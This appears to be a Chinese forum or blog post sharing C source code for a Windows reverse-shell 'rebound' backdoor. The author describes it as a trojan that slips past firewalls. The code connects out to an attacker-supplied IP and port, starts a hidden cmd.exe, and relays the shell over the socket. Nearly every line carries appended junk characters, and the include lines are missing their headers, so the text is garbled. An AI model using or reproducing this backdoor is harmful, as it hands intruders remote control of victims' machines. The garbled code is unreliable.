这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8~AL+*hn
t]E@AJOK
/* ============================== {43J'WsJ
Rebound port in Windows NT VcLzv{
By wind,2006/7 RO[6PlrRN
===============================*/ A=r8_.@2@
#include ;cGY
#include >1$Vh=\OI
'cA(-ghY/E
#pragma comment(lib,"wsock32.lib") .JV y}^Q\
Rd[^)q4d$w
void OutputShell(); Y(=A HmR
SOCKET sClient; Qcn;:6_&W
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,,]<f*N
wK0],,RN,h
void main(int argc,char **argv) ~>XqR/v
{ NRazI_Z
WSADATA stWsaData; d&naJ)IoF)
int nRet; .0p'G}1
SOCKADDR_IN stSaiClient,stSaiServer; Ll, U>yo
X'j9l4Ph7
if(argc != 3) i5SDy(?r
{ _pxurq{
printf("Useage:\n\rRebound DestIP DestPort\n"); l OiZ2_2
return; J~AmRo0!k
} KBa0
d;i@9+
WSAStartup(MAKEWORD(2,2),&stWsaData); & l0LW,Bx
$hy0U_}6
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b8!
+v<
\l=
stSaiClient.sin_family = AF_INET; Z=oGyA
stSaiClient.sin_port = htons(0); vbfQy2q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z1{>"o:@
o{3>n"\w3
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0wt4C% .0
{ ~-#Jcw$+n=
printf("Bind Socket Failed!\n"); 9-!G Ya'Z
return; ZE9.r`
} yB|1?L#
Y]DC; ,
stSaiServer.sin_family = AF_INET; C8D`:k
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SGu`vN]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z>pZ|
Q 3/J@MC
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y|buQQ|
{ A=wG};%_
printf("Connect Error!"); )r?-_qj=
return; sgRWjrc/
} D4sp+
OutputShell(); <6+T&Ov6
} 7"1]5\p^g
$g),|[x+(
void OutputShell() `pF7B6[B
{ &Bqu2^^
char szBuff[1024]; HlEHk'
SECURITY_ATTRIBUTES stSecurityAttributes; dSe d6
OSVERSIONINFO stOsversionInfo; Mbn;~tY>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -q\Rbb5M
STARTUPINFO stStartupInfo; g.\%jDM
char *szShell;
-d^'-s
PROCESS_INFORMATION stProcessInformation; N_/+B]r }T
unsigned long lBytesRead; {nw.bKq7
=_CH$F!U
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qg:EN~E#
w F3 MzN=%
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r"|.`$:B
stSecurityAttributes.lpSecurityDescriptor = 0; C[5dhFZ
stSecurityAttributes.bInheritHandle = TRUE; ^PUB~P/
OY2u,LF9H
Jhfw$ DF
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M3r;Pdj2r
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VOIni<9y
eD7qc1*G
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mtdy@=?1Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?!O4ia3nFk
stStartupInfo.wShowWindow = SW_HIDE; @8$z2
stStartupInfo.hStdInput = hReadPipe; u60RuP&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
F@mxd
L|B! ]}
GetVersionEx(&stOsversionInfo); zrf
tF2U
_!_1=|[
switch(stOsversionInfo.dwPlatformId) =2}V=E/85
{ zRbY]dW
case 1: z#1"0Ks&P
szShell = "command.com"; 20}w.V
break; sPXjU5uq#
default: }9&dY!h +
szShell = "cmd.exe"; nxNHf3
break; 1}Y3|QxF
} %0 i)l|
/4@
[^}x
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z:Z-2WV2o
D c;k)z=
send(sClient,szMsg,77,0); .(3ec/i4CF
while(1) 4c[/%e:\-
{ Y6Ux*vhK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Cy)N hgz
if(lBytesRead) i<):%[Q)>
{ "YWZ&_n**
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ay PtbrO
send(sClient,szBuff,lBytesRead,0); H \'1.8g/
} ZCViZWo
else 64]8ykRD-
{ DEbMb6)U
lBytesRead=recv(sClient,szBuff,1024,0); PQa0m)H@
if(lBytesRead<=0) break; tY:
Nq*@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zWH)\>X59
} x,zYNNx5g
} @b,6W
wc
WdlGnFAWh
return; PG}Roj
I
}